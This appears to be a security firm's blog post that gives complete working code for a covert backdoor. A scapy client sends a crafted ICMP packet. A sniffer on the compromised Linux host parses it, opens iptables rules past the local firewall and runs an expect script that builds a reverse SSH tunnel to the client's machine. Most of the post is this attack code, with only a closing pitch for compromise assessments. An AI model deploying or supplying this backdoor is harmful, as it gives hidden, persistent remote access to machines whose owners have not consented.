Sometimes in the information security world, the simplest things work best. This is why I’d like to show you how to build a simple backdoor with a method for regaining access to the machine you have compromised.
The client will forge a specific packet with an ICMP load and the server will receive the packet even with a local firewall that drops everything. The listening mode allows the system to receive all packets going to the interface even if they are dropped by a firewall.
Let’s take a look at the code:
This is just a script that takes the server IP as an input, the client IP (the one for reverse shell), the connection port and the password of the client machine that the server will use when establishing the reverse shell.
When the backdoor creates the reverse shell, it will generate a file in /tmp/ directory. This indicates that the reverse tunnel is working.
#! /usr/bin/env python import logging import socket logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * import sys import os.path import time file_result = "/tmp/done" if len(sys.argv) != 5: print "Usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + " PASSWORD_CLIENT " sys.exit(1) server = sys.argv[1] if os.path.isfile(file_result): os.remove(file_result) load = sys.argv[2]+"|"+sys.argv[3]+"|"+sys.argv[4] pingr = IP(dst=server)/ICMP()/load send(pingr,verbose=0) for i in xrange(10,0,-1): time.sleep(1) print str(i) + "..", sys.stdout.flush() print
The server side consists of two parts: the main script and the sshtunnel.sh.
This script will listen to ICMP packets and parse the load which is supposed to allow the IP address to connect, as well as the port and the password of the remote machine. Then this script will open two local firewall rules to be able to reach the client. Finally, the script will call an expect script that will create the tunnel.
#! /usr/bin/env python import logging import socket logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * import subprocess def icmp_monitor_callback(pkt): reg = re.compile("(.*)|(.*)|(.*)") g = reg.match(pkt.load) if g: subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT']) subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT']) p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)]) return sniff(prn=icmp_monitor_callback, filter="icmp", store=0)
This script takes the IP as parameter as well as the port and the password needed for a remote SSH connection. In fact, because SSH does not allow to enter passwords in the command line, we found a workaround by using this expect script.
#!/usr/bin/expect -f set ip [lindex $argv 0]; set port [lindex $argv 1]; set password [lindex $argv 2]; spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip expect "*?assword:*" send "$passwordr" expect "*#" send "touch /tmp/doner" interact
Simple isn’t it?
If you are curious, here are some questions to let you think about this kind of simple backdoor:
Let me know your thoughts and reach out in case you suspect you may have been breached to schedule a compromise assessment!